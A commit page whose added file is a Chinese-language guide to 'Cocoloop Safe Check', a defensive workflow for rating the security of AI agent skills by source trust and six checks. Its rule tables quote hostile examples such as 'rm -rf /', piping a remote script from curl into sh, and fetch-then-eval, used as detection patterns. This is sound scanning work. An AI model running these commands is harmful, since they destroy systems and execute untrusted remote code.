重构主控编排与运行时预热链路,统一工作区提示词/专家调度协议并补齐 wiki 记忆注入与写回闭环。

同时收敛启动与运维脚本默认行为(含 wiki worker)、更新 Admin 可观测性与相关测试,降低首轮时延并提高运行稳定性。

Made-with: Cursor
This commit is contained in:
oliver 2026-04-26 08:34:33 +08:00
parent 4a23b715a2
commit dbbe3add6a
14438 changed files with 2693620 additions and 2546 deletions

View file

@ -0,0 +1,383 @@
# Cocoloop Safe Check 安全检查流程指南
本文档详细描述 Cocoloop 安全检查的执行流程,基于 cocoloop-safe-check 安全认证体系。
## 检查触发时机
1. **安装前检查**(推荐)
- 用户明确请求:"检查 xxx 安全"
- 来源为 T3 且用户未使用 --skip-check 参数
2. **安装后检查**
- 安装完成后询问用户是否需要检查
3. **批量检查**
- 检查所有已安装 skills
## 检查流程概览
```
开始检查
↓
定位 Skill 来源
├── 本地路径 ──→ 读取本地文件
├── Skill 名称 ──→ 在安装目录查找
├── GitHub 链接 ──→ 下载仓库内容
└── URL ──→ 下载内容
↓
提取所有代码
├── SKILL.md 中的代码块
├── scripts/ 目录文件
├── references/ 目录(检查可执行代码)
└── assets/ 目录(检查可执行文件)
↓
执行六项检查
├── 1. 代码安全性
├── 2. 数据隐私性
├── 3. 执行安全性
├── 4. 依赖可靠性
├── 5. 边界完整性
└── 6. 描述逻辑
↓
评估来源可信度 (T1/T2/T3)
↓
计算安全评级 (S+/S/A/B/C/D)
↓
生成报告 ──→ 询问保存位置 ──→ 保存报告
↓
评级 <= B? ──是──→ 强烈建议用户注意安全
↓
完成
```
## 详细检查步骤
### 第一步:定位 Skill
根据用户输入确定检查目标:
| 输入类型 | 处理方式 | 示例 |
| ----------- | ------------------ | ---------------------------------------------- |
| 本地路径 | 直接读取目录 | `~/.claude/skills/pdf-processor/` |
| Skill 名称 | 在平台安装目录查找 | `pdf-processor` |
| GitHub 链接 | 解析并下载仓库 | `https://github.com/owner/repo` |
| GitHub 短链 | 拼接完整地址 | `owner/repo` → `https://github.com/owner/repo` |
下载 GitHub 仓库内容:
1. 获取默认分支:`GET https://api.github.com/repos/{owner}/{repo}` → `default_branch`
2. 下载归档:`https://github.com/{owner}/{repo}/archive/{branch}.zip`
3. 解压到临时目录
### 第二步:提取代码
遍历 skill 目录,提取所有可执行内容:
**SKILL.md 代码块提取:**
- 正则匹配:/`(\w+)?\n([\s\S]*?)`/g
- 记录语言类型和代码内容
- 可执行语言标记:javascript, js, python, py, bash, sh, shell, ruby, rb, php, perl, pl
**scripts/ 目录:**
- 列出所有文件
- 根据扩展名识别类型:.js, .cjs, .mjs, .py, .sh, .rb, .pl
- 读取文件内容
**references/ 目录:**
- 检查是否包含可执行代码(按文件扩展名和内容)
**assets/ 目录:**
- 检查可执行二进制文件
### 第三步:六项检查
#### 3.1 代码安全性检查
检查危险函数和漏洞模式:
**D级触发项(一票否决):**
| 模式 | 描述 | 示例 |
| --------------- | -------------------- | ------------------------------ |
| `eval\s*\(` | 使用 eval 执行代码 | `eval(userInput)` |
| `exec\s*\(` | 使用 exec 执行命令 | `exec(userCommand)` |
| `system\s*\(` | 使用 system 执行命令 | `system("rm -rf /")` |
| `child_process` | 引入 child_process | `require('child_process')` |
| `spawn\s*\(` | 使用 spawn 执行命令 | `spawn('sh', ['-c', cmd])` |
| `rm\s+-rf\s+/` | 系统破坏性命令 | `rm -rf /` |
| `curl.*\|.*sh` | 管道执行远程脚本 | `curl http://x.com/s.sh \| sh` |
| `fetch.*eval` | 下载并执行代码 | `fetch(url).then(r=>eval(r))` |
**C级触发项:**
| 模式 | 描述 | 示例 |
| -------------- | ---------------------------------- | -------------------------- |
| 硬编码密码 | `password\s*=\s*["'][^"']+["']` | `password = "secret123"` |
| 硬编码 API Key | `api[_-]?key\s*=\s*["'][^"']+["']` | `api_key = "sk-xxx"` |
| 硬编码 Token | `token\s*=\s*["'][^"']+["']` | `token = "ghp_xxx"` |
| 硬编码 Secret | `secret\s*=\s*["'][^"']+["']` | `secret = "xxx"` |
| 文件删除操作 | `fs\.unlink\s*\(` | `fs.unlink('/etc/passwd')` |
| 目录删除操作 | `fs\.rmdir\s*\(` | `fs.rmdir('/system')` |
#### 3.2 数据隐私性检查
**D级触发项:**
- 未经用户确认上传本地文件到远程(T3 来源)
- 静默收集密码、密钥等敏感信息
- 将敏感数据传输到未加密通道(http 而非 https)
**C级触发项:**
- 收集的数据超出功能说明范围
- 未明确告知用户数据使用情况
检查方法:
- 查找网络请求代码(fetch, axios, request, http.get)
- 检查请求目标 URL
- 检查请求体是否包含敏感字段名
#### 3.3 执行安全性检查
**D级触发项:**
- 执行 `rm -rf /` 或类似系统破坏性命令
- 无确认直接执行系统级危险操作(格式化磁盘、修改系统配置)
- 修改系统关键配置且无备份机制
**C级触发项:**
- 危险操作缺乏二次确认
- 关键操作无回滚机制
#### 3.4 依赖可靠性检查
检查是否加载动态代码:
- 从网络下载并执行代码
- 使用 `fetch` 或 `curl` 获取远程脚本并执行
- 动态 `import()` 不可信来源的模块
- `require()` 远程模块
**URL 递归检查机制:**
对于动态加载的可执行文件,实施最多 2 层的 URL 递归检查:
```
第 0 层: Skill 本体代码
↓ 发现动态加载 URL
第 1 层: 下载并检查第一层动态加载的内容
↓ 如发现该层内容仍包含动态加载
第 2 层: 下载并检查第二层动态加载的内容
↓ 如第 2 层仍包含动态加载
终止递归,最高标记为 C 级(多层动态加载风险)
```
**递归检查流程:**
1. **提取 URL**:从代码中提取所有网络请求目标 URL
- `fetch('https://example.com/script.js')`
- `curl -o script.sh https://example.com/script.sh`
- `import('https://example.com/module.js')`
- `require('https://example.com/package')`
2. **逐层检查**:
- **第 1 层**:下载 URL 内容,检查是否为可执行代码
- 如果是可执行代码 → 进行安全检查(危险函数、敏感信息等)
- 如果包含新的动态加载 URL → 进入第 2 层
- **第 2 层**:下载并检查第二层内容
- 如果仍包含动态加载 → 标记为 C 级(多层动态加载)
- 记录所有发现的 URL 链
3. **风险评级规则**:
- **无动态加载**:正常评级流程
- **仅第 1 层动态加载**:根据来源分级处理
- **存在第 2 层动态加载**:最高评级为 C 级
- **第 2 层后仍有动态加载**:强制标记为 C 级
**来源分级处理(动态代码):**
- **T1 来源**:可加载官方动态代码,放宽至 B 级要求
- **T2 来源**:动态代码需来源验证,放宽至 C 级要求
- **T3 来源**:严格禁止未经验证的动态代码加载
**多层动态加载示例(C 级):**
```javascript
// Skill 代码(第 0 层)
fetch('https://example.com/loader.js'); // 第 1 层
// loader.js 内容(第 1 层)
import('https://another.com/runtime.js'); // 第 2 层
// runtime.js 内容(第 2 层)
fetch('https://third.com/exec.js'); // 第 3 层 → 触发 C 级标记
```
#### 3.5 边界完整性检查
- 缺乏基本的输入验证(未检查参数类型、范围)
- 对异常情况处理不当(try-catch 缺失)
- 错误信息泄露敏感信息(堆栈跟踪包含路径、密钥片段)
#### 3.6 描述逻辑审查
- 功能描述是否清晰准确
- 安全相关行为是否有明确告知
- 是否隐瞒潜在风险
### 第四步:来源可信度评估
确定 skill 的来源等级:
**T1 - 官方/顶级来源:**
- 知名大型技术公司(Google, Microsoft, OpenAI, Anthropic, Meta, AWS)
- 顶级开源基金会(Apache, Linux 基金会)
- 有官方代码签名
**T2 - 可信组织来源:**
- 有实名认证的组织账号
- GitHub 组织账号(非个人)
- Stars > 1000 或有良好声誉
**T3 - 社区/个人来源:**
- 个人开发者账号
- 小型社区项目
- 来源无法明确验证
### 第五步:计算评级
评级判定流程:
```
检查开始
↓
发现 D 级问题? ──是──→ D 级(一票否决)
↓ 否
发现 C 级问题? ──是──→ C 级
↓ 否
满足 S 级要求? ──是──→ S 级
↓ 否
满足 A 级要求? ──是──→ A 级
↓ 否
B 级
```
**纯文档型资产**(无代码):
| 条件 | 评级 |
|------|------|
| 无 C/D 级问题 + T1/T2 来源 | **S 级** |
| 无 C/D 级问题 + T3 来源 | **A 级** |
**代码型资产**(有脚本/可执行代码):
S 级要求(需全部满足):
1. **来源可信**:T1/T2 来源
2. **代码安全**:无危险函数,无注入漏洞
3. **依赖可靠**:版本锁定,无动态代码加载,无已知 CVE
4. **输入验证**:完善的参数校验和类型检查
5. **错误处理**:不暴露敏感信息,有异常处理机制
6. **权限最小化**:权限申请与功能匹配,有明确说明
7. **数据隐私**:无静默收集,用户可控制数据使用
A 级要求(需全部满足):
1. **代码安全**:无危险函数,无注入漏洞
2. **依赖可靠**:版本锁定,无动态代码加载,无已知 CVE
3. **输入验证**:完善的参数校验和类型检查
4. **错误处理**:不暴露敏感信息,有异常处理机制
5. **权限最小化**:权限申请与功能匹配,有明确说明
6. **数据隐私**:无静默收集,用户可控制数据使用
(A 级与 S 级的区别在于:S 级要求 T1/T2 来源,A 级允许 T3 来源)
### 第六步:生成报告
报告结构:
```markdown
# Cocoloop Safe Check 安全认证报告
## 基本信息
- Skill 名称: [名称]
- 来源: [GitHub 链接/本地路径]
- 来源等级: [T1/T2/T3]
## 评级结果
评级: [S+/S/A/B/C/D]
评价: [一句话评价]
## 检查依据
### ✅ 通过项
- [检查项]
### ⚠️ 注意事项
- [注意事项]
### ❌ 问题项
- [问题项]
## 详细检查结果
[各维度详细检查结果]
## 使用建议
[推荐使用场景和安全使用指南]
```
## 报告保存流程
1. **询问用户保存位置**
- 选项:桌面 / 下载文件夹 / 当前工作目录 / 指定路径 / 只展示不保存
2. **根据选择保存**
- 文件名格式:`Cocoloop-认证-{skill-name}-{评级}-报告.md`
3. **展示结果摘要**
## 使用建议生成
根据评级生成使用建议:
**S+/S 级:**
- 可放心使用
- 推荐用于生产环境
**A 级:**
- 代码安全,可正常使用
- 建议了解作者背景
**B 级:**
- 无显著安全问题,但有改进空间
- 建议阅读代码后再使用
**C 级:**
- 存在潜在安全问题
- 建议在隔离环境测试后再使用
- 不建议用于处理敏感数据
**D 级:**
- 存在严重安全问题
- 强烈建议不要使用
- 如需使用,必须在完全隔离的环境中